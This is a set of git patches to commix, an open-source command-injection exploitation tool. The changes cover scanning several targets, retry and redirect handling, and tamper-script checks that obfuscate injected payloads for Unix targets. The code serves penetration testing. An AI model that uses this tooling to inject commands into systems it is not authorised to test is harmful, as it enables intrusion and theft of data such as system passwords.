error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")."
+ if settings.MULTI_TARGETS:
+ error_msg = error_msg + " Skipping to the next target."
print(settings.print_critical_msg(error_msg))
+ settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
+ if settings.MAX_RETRIES > 1:
+ time.sleep(settings.DELAY_RETRY)
if not settings.VALID_URL :
if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES:
raise SystemExit()
diff --git a/src/core/main.py b/src/core/main.py
index a4bcb1fd7d..83e3878f93 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -152,9 +152,8 @@ def examine_request(request, url):
reason = str(err_msg)
if settings.MULTI_TARGETS:
if len(reason) != 0:
- reason = " (Reason: " + reason + ")."
- warn_msg = "Skipping URL '" + url + "'" + reason
- print(settings.print_warning_msg(warn_msg))
+ reason = reason + ". Skipping to the next target."
+ print(settings.print_critical_msg(reason))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
@@ -163,7 +162,8 @@ def examine_request(request, url):
if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
pass
else:
- print(settings.print_critical_msg(err_msg))
+ if len(err_msg) != 0:
+ print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
@@ -243,8 +243,6 @@ def url_response(url):
tor.do_check()
if settings.MULTI_TARGETS:
settings.TOR_CHECK_AGAIN = False
- info_msg = "Setting URL '" + url + "' for tests. "
- print(settings.print_info_msg(info_msg))
# initiate total of requests
settings.TOTAL_OF_REQUESTS = 0
request = init_request(url)
@@ -826,28 +824,38 @@ def main(filename, url):
[clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile]
# Removing empty elements from list.
clean_bulkfile = [x for x in clean_bulkfile if x]
+ url_num = 0
+ print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets."))
for url in clean_bulkfile:
- settings.INIT_TEST = True
- if url == clean_bulkfile[-1]:
- settings.EOF = True
- # Reset the injection level
- if menu.options.level > 3:
- menu.options.level = 1
- init_injection(url)
- try:
- response, url = url_response(url)
- if response != False:
- filename = logs_filename_creation()
- main(filename, url)
-
- except (_urllib.error.HTTPError, _urllib.error.URLError) as e:
- if settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Unable to connect to the target URL."
- warn_msg = "Skipping URL '" + url + "' - " + err_msg
- print(settings.print_warning_msg(warn_msg))
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
+ url_num += 1
+ print(settings.print_question_msg("URL #" + str(url_num) + " - " + url) + "")
+ if not menu.options.batch:
+ question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "Y"
+ if message in settings.CHOICE_YES:
+ settings.INIT_TEST = True
+ if url == clean_bulkfile[-1]:
+ settings.EOF = True
+ # Reset the injection level
+ if menu.options.level > 3:
+ menu.options.level = 1
+ init_injection(url)
+ try:
+ response, url = url_response(url)
+ if response != False:
+ filename = logs_filename_creation()
+ main(filename, url)
+ except:
+ pass
+ elif message in settings.CHOICE_NO:
+ pass
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+
else:
if os_checks_num == 0:
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index fdf5b69881..ad76b9aaeb 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -151,6 +151,8 @@ def https_open(self, req):
if settings.VERBOSITY_LEVEL < 2:
if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
(settings.INIT_TEST == True and settings.MULTI_TARGETS):
+ if settings.VALID_URL == False:
+ settings.VALID_URL = True
print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
@@ -163,27 +165,10 @@ def https_open(self, req):
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
- except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg:
- if settings.TOTAL_OF_REQUESTS == 1:
- if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg):
- print(settings.SINGLE_WHITESPACE)
-
- if "IncompleteRead" in str(err_msg):
- warn_msg = "There was an incomplete read error while retrieving data "
- warn_msg += "from the target URL "
- else:
- warn_msg = "The provided target URL seems not reachable. "
- warn_msg += "In case that it is, please try to re-run using "
- if not menu.options.random_agent:
- warn_msg += "'--random-agent' switch and/or "
- warn_msg += "'--proxy' option."
-
- print(settings.print_warning_msg(warn_msg))
- if settings.MAX_RETRIES > 1:
- info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
- print(settings.print_info_msg(info_msg))
- settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
- time.sleep(3)
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
+ pass
+ # settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
+ # time.sleep(3)
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
@@ -242,10 +227,6 @@ def https_open(self, req):
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
- # The handlers raise this exception when they run into a problem.
- except Exception as err_msg:
- checks.connection_exceptions(err_msg)
-
"""
Check for added headers.
"""
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index d3731af4d5..91f10fa2a4 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -164,8 +164,11 @@ def http_error_405(self, req, fp, code, msg, headers):
else:
return url
- except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
- checks.connection_exceptions(err_msg)
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
+ if settings.VALID_URL:
+ checks.connection_exceptions(err_msg)
+ else:
+ pass
except AttributeError:
pass
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index b225a48fc2..decfb487a6 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -294,7 +294,7 @@ def crawler(url):
if re.search(r"(.*?)\?(.+)", check_url):
valid_url_found = True
url_num += 1
- print(settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "")
+ print(settings.print_question_msg("URL #" + str(url_num) + " - " + check_url) + "")
if filename is not None:
with open(filename, "a") as crawling_results:
crawling_results.write(check_url + "\n")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2ce9cf87d6..c3d8797bbe 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "35"
+REVISION = "36"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -440,6 +440,9 @@ def sys_argv_errors():
# Seconds to delay the OS response. (Default 1)
TIMESEC = 1
+# Seconds to delay between each HTTP retry.
+DELAY_RETRY = 1
+
#Level (Default: 1)
DEFAULT_INJECTION_LEVEL = 1
COOKIE_INJECTION_LEVEL = 2
From ddfb5cd536943e7339bf469a45a55a8ae04544a4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 19 Apr 2022 07:16:52 +0300
Subject: [PATCH 113/560] Minor improvement regarding redirect handler and
multiple trivial fixes / updates
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 5 +-
src/core/injections/controller/controller.py | 4 +
src/core/main.py | 2 +-
src/core/requests/headers.py | 32 ++--
src/core/requests/parameters.py | 3 +-
src/core/requests/redirection.py | 147 +++++--------------
src/utils/logs.py | 1 +
src/utils/settings.py | 5 +-
9 files changed, 70 insertions(+), 130 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 315075aa8d..65dcc59ab4 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Minor improvement regarding redirect handler.
* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for heuristic detection regarding command injections.
* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index a8587fe9eb..f9086f627d 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -60,7 +60,10 @@ def connection_exceptions(err_msg):
try:
error_msg = str(err_msg.args[0]).split("] ")[1]
except IndexError:
- error_msg = str(err_msg.args[0])
+ try:
+ error_msg = str(err_msg.args[0])
+ except IndexError:
+ error_msg = str(err_msg)
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
if "ssl" in str(error_msg):
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 7ea6936d0f..a61f360f40 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -582,6 +582,7 @@ def cookie_injection(url, http_request_method, filename, timesec):
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.cookie = cookie_parameters[param_counter]
+ check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
@@ -629,6 +630,7 @@ def get_request(url, http_request_method, filename, timesec):
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
url = found_url[url_counter]
+ check_parameter = parameters.vuln_GET_param(url)
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
@@ -688,6 +690,8 @@ def post_request(url, http_request_method, filename, timesec):
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.data = found_parameter[param_counter]
+ check_parameter = parameters.vuln_POST_param(menu.options.data, url)
+ # Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
param_counter += 1
diff --git a/src/core/main.py b/src/core/main.py
index 83e3878f93..aadf90c7ff 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -257,7 +257,7 @@ def url_response(url):
response = examine_request(request, url)
# Check for URL redirection
if not menu.options.ignore_redirects:
- url = redirection.do_check(url)
+ url = redirection.do_check(request, url)
return response, url
"""
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index ad76b9aaeb..c7814af513 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -65,7 +65,9 @@ def http_response(headers, code):
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
- logs.log_traffic("\n\n")
+ logs.log_traffic("\n\n")
+ if settings.VERBOSITY_LEVEL == 3:
+ print(settings.SINGLE_WHITESPACE)
"""
Print HTTP response headers / Body.
@@ -91,7 +93,6 @@ def print_http_response(response_headers, code, page):
Checking the HTTP Headers & HTTP/S Request.
"""
def check_http_traffic(request):
- settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
# Delay in seconds between each HTTP request
time.sleep(int(settings.DELAY))
if settings.SCHEME == 'https':
@@ -114,8 +115,22 @@ def send(self, req):
http_client.send(self, req)
class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object):
+ """
+ Print HTTP request headers.
+ """
+ def print_http_response(self):
+ settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
+ if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file:
+ if settings.VERBOSITY_LEVEL >= 2:
+ req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:"
+ print(settings.print_request_msg(req_msg))
+ if menu.options.traffic_file:
+ req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:"
+ logs.log_traffic(req_msg)
+
def http_open(self, req):
try:
+ self.print_http_response()
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
@@ -123,6 +138,7 @@ def http_open(self, req):
def https_open(self, req):
try:
+ self.print_http_response()
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
@@ -134,15 +150,7 @@ def https_open(self, req):
_ = False
unauthorized = False
- while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
- if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file:
- if settings.VERBOSITY_LEVEL >= 2:
- req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:"
- print(settings.print_request_msg(req_msg))
- if menu.options.traffic_file:
- req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:"
- logs.log_traffic(req_msg)
-
+ while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
try:
response = opener.open(request, timeout=settings.TIMEOUT)
page = checks.page_encoding(response, action="encode")
@@ -167,8 +175,6 @@ def https_open(self, req):
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
pass
- # settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
- # time.sleep(3)
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 1543f15649..d031a0e1ba 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -134,7 +134,8 @@ def do_GET_check(url, http_request_method):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
url = url_part + "?" + parameter
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 91f10fa2a4..5f6633f2e4 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -31,7 +31,7 @@
from src.thirdparty.colorama import Fore, Back, Style, init
-def do_check(url):
+def do_check(request, url):
"""
This functinality is based on Filippo's Valsorda script [1].
---
@@ -41,128 +41,49 @@ class Request(_urllib.request.Request):
def get_method(self):
return settings.HTTPMETHOD.HEAD
- class RedirectHandler(_urllib.request.HTTPRedirectHandler):
+ class RedirectHandler(_urllib.request.HTTPRedirectHandler, object):
"""
Subclass the HTTPRedirectHandler to make it use our
Request also on the redirected URL
"""
- def redirect_request(self, req, fp, code, msg, headers, redirected_url):
+ def redirect_request(self, request, fp, code, msg, headers, newurl):
if code in (301, 302, 303, 307):
- redirected_url = redirected_url.replace(' ', '%20')
- newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type"))
- warn_msg = "Got a " + str(code) + " redirection (" + redirected_url + ")."
- print(settings.print_warning_msg(warn_msg))
- return Request(redirected_url,
- headers = newheaders,
- # origin_req_host = req.get_origin_req_host(),
- unverifiable = True
- )
+ settings.REDIRECT_CODE = code
+ return Request(newurl.replace(' ', '%20'),
+ data=request.data,
+ headers=request.headers
+ )
else:
- err_msg = str(_urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": "," (")
+ err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
-
- class HTTPMethodFallback(_urllib.request.BaseHandler):
- """
- """
- def http_error_405(self, req, fp, code, msg, headers):
- fp.read()
- fp.close()
- newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type"))
- return self.parent.open(_urllib.request.Request(req.get_full_url(),
- headers = newheaders,
- # origin_req_host = req.get_origin_req_host(),
- unverifiable = True)
- )
-
- # Build our opener
- opener = _urllib.request.OpenerDirector()
- # Check if defined any Host HTTP header.
- if menu.options.host and settings.HOST_INJECTION == False:
- opener.addheaders.append(('Host', menu.options.host))
- # Check if defined any User-Agent HTTP header.
- if menu.options.agent:
- opener.addheaders.append(('User-Agent', menu.options.agent))
- # Check if defined any Referer HTTP header.
- if menu.options.referer and settings.REFERER_INJECTION == False:
- opener.addheaders.append(('Referer', menu.options.referer))
- # Check if defined any Cookie HTTP header.
- if menu.options.cookie and settings.COOKIE_INJECTION == False:
- opener.addheaders.append(('Cookie', menu.options.cookie))
- # Check if defined any HTTP Authentication credentials.
- # HTTP Authentication: Basic / Digest Access Authentication.
- if menu.options.auth_cred and menu.options.auth_type:
- try:
- settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type)
- if menu.options.auth_type == "basic":
- b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '')
- opener.addheaders.append(("Authorization", "Basic " + b64_string + ""))
- elif menu.options.auth_type == "digest":
- try:
- url = menu.options.url
- try:
- response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as e:
- try:
- authline = e.headers.get('www-authenticate', '')
- authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups()
- realm = authobj[1].split(',')[0].replace("\"","")
- user_pass_pair = menu.options.auth_cred.split(":")
- username = user_pass_pair[0]
- password = user_pass_pair[1]
- authhandler = _urllib.request.HTTPDigestAuthHandler()
- authhandler.add_password(realm, url, username, password)
- opener = _urllib.request.build_opener(authhandler)
- _urllib.request.install_opener(opener)
- result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT)
- except AttributeError:
- pass
- except _urllib.error.HTTPError as e:
- pass
- except ValueError:
- err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'."
- err_msg += " Try basic or digest HTTP authentication type."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
- else:
- pass
-
- for handler in [_urllib.request.HTTPHandler,
- HTTPMethodFallback,
- RedirectHandler,
- _urllib.request.HTTPErrorProcessor,
- _urllib.request.HTTPSHandler]:
- opener.add_handler(handler())
-
+
+ opener = _urllib.request.build_opener(RedirectHandler())
try:
- # Return a Request or None in response to a redirect.
- response = opener.open(Request(url))
- if response == None:
- return url
+ response = opener.open(request, timeout=settings.TIMEOUT)
+ if url == response.geturl():
+ return response.geturl()
else:
- redirected_url = response.geturl()
- if redirected_url != url:
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to follow the identified redirection? [Y/n] > "
- redirection_option = _input(settings.print_question_msg(question_msg))
- else:
- redirection_option = ""
- if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES:
- if menu.options.batch:
- info_msg = "Following redirection to '" + redirected_url + "'. "
- print(settings.print_info_msg(info_msg))
- return redirected_url
- elif redirection_option in settings.CHOICE_NO:
- return url
- elif redirection_option in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + redirection_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- else:
- return url
+ while True:
+ if not menu.options.batch:
+ question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
+ question_msg += "Do you want to follow the identified redirection? [Y/n] > "
+ redirection_option = _input(settings.print_question_msg(question_msg))
+ else:
+ redirection_option = ""
+ if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES:
+ if menu.options.batch:
+ info_msg = "Following redirection to '" + response.geturl() + "'. "
+ print(settings.print_info_msg(info_msg))
+ return checks.check_http_s(response.geturl())
+ elif redirection_option in settings.CHOICE_NO:
+ return url
+ elif redirection_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + redirection_option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
if settings.VALID_URL:
diff --git a/src/utils/logs.py b/src/utils/logs.py
index 0a3a7a88dd..7546eaa9cd 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -34,6 +34,7 @@
Create log files
"""
def create_log_file(url, output_dir):
+
if not output_dir.endswith("/"):
output_dir = output_dir + "/"
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c3d8797bbe..58d08b6d5f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "36"
+REVISION = "37"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1089,4 +1089,7 @@ def sys_argv_errors():
CRAWLED_SKIPPED_URLS = 0
MULTI_TARGETS = False
+
+# Identified Redirect code
+REDIRECT_CODE = ""
# eof
\ No newline at end of file
From 22ab9bf2290f641407ffd4048e166748abe9b70f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 20 Apr 2022 07:24:04 +0300
Subject: [PATCH 114/560] Fixes
https://github.com/commixproject/commix/issues/760 (and multiple trivial
fixes / updates)
---
src/core/injections/controller/checks.py | 25 +++++++++----------
src/core/injections/controller/controller.py | 8 +++---
.../techniques/classic/cb_enumeration.py | 10 +++++---
.../techniques/classic/cb_handler.py | 10 +++++---
.../techniques/eval_based/eb_enumeration.py | 15 +++++++----
.../techniques/eval_based/eb_handler.py | 13 ++++++----
.../techniques/file_based/fb_enumeration.py | 14 +++++++----
.../techniques/file_based/fb_handler.py | 11 +++++---
src/core/main.py | 2 +-
src/core/modules/shellshock/shellshock.py | 7 ++++--
src/utils/settings.py | 7 +++++-
11 files changed, 77 insertions(+), 45 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index f9086f627d..292dc91897 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -986,8 +986,8 @@ def list_tamper_scripts():
"""
Tamper script checker
"""
-def tamper_scripts():
- if menu.options.tamper:
+def tamper_scripts(stored_tamper_scripts):
+ if menu.options.tamper and stored_tamper_scripts is False:
# Check the provided tamper script(s)
available_scripts = []
provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())))
@@ -1001,7 +1001,6 @@ def tamper_scripts():
err_msg += "Use the '--list-tampers' option for listing available tamper scripts."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
-
info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": "
print(settings.print_info_msg(info_msg))
for script in provided_scripts:
@@ -1117,7 +1116,7 @@ def whitespace_check(payload):
"""
def other_symbols(payload):
# Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads.
- if payload.count("`") >= 2:
+ if payload.count("`") >= 2 and settings.TARGET_OS == "unix":
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",backticks"
else:
@@ -1135,7 +1134,7 @@ def other_symbols(payload):
payload = caret.tamper(payload)
# Check for dollar sign followed by an at-sign
- if payload.count("$@") >= 10:
+ if payload.count("$@") >= 10 and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['dollaratsigns']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",dollaratsigns"
@@ -1145,7 +1144,7 @@ def other_symbols(payload):
payload = dollaratsigns.tamper(payload)
# Check for uninitialized variable
- if payload.count("${uv}") >= 2:
+ if payload.count("${uv}") >= 2 and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['uninitializedvariable']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",uninitializedvariable"
@@ -1155,7 +1154,7 @@ def other_symbols(payload):
payload = uninitializedvariable.tamper(payload)
# Check for environment variable value variable
- if payload.count("${PATH%%u*}") >= 2:
+ if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['slash2env']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",slash2env"
@@ -1169,7 +1168,7 @@ def other_symbols(payload):
"""
def check_backslashes(payload):
# Check for single quotes
- if payload.count("\\") >= 15:
+ if payload.count("\\") >= 15 and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['backslashes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",backslashes"
@@ -1183,7 +1182,7 @@ def check_backslashes(payload):
"""
def check_quotes(payload):
# Check for double quotes around of the generated payloads.
- if payload.endswith("\""):
+ if payload.endswith("\"") and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['nested']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",nested"
@@ -1193,7 +1192,7 @@ def check_quotes(payload):
payload = nested.tamper(payload)
# Check for (multiple) added double-quotes between the characters of the generated payloads.
- if payload.count("\"") >= 10:
+ if payload.count("\"") >= 10 and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['doublequotes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",doublequotes"
@@ -1203,7 +1202,7 @@ def check_quotes(payload):
payload = doublequotes.tamper(payload)
# Check for (multiple) added single-quotes between the characters of the generated payloads.
- if payload.count("''") >= 10:
+ if payload.count("''") >= 10 and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['singlequotes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",singlequotes"
@@ -1216,7 +1215,7 @@ def check_quotes(payload):
Recognise the payload.
"""
def recognise_payload(payload):
- if "usleep" in payload:
+ if "usleep" in payload and settings.TARGET_OS == "unix":
if not settings.TAMPER_SCRIPTS['sleep2usleep']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",sleep2usleep"
@@ -1276,7 +1275,7 @@ def check_for_stored_tamper(payload):
whitespace_check(decoded_payload)
other_symbols(decoded_payload)
check_quotes(decoded_payload)
- tamper_scripts()
+ tamper_scripts(stored_tamper_scripts=True)
"""
Perform payload modification
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index a61f360f40..0d3d5ac7bf 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -314,9 +314,11 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m
"""
def injection_proccess(url, check_parameter, http_request_method, filename, timesec):
inject_http_headers = False
- if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \
- any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME):
- inject_http_headers = True
+ if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \
+ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data):
+ if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \
+ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME):
+ inject_http_headers = True
if menu.options.ignore_code:
info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. "
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 6f8e81fe99..462cb5f407 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -528,7 +528,6 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
Single os-shell execution
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
-
cmd = menu.options.os_cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -544,12 +543,17 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
logs.print_logs_notification(filename, url)
else:
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ print(settings.SINGLE_WHITESPACE)
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index cc3cb33ce6..09968cb28c 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -411,12 +411,16 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
if shell != "":
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
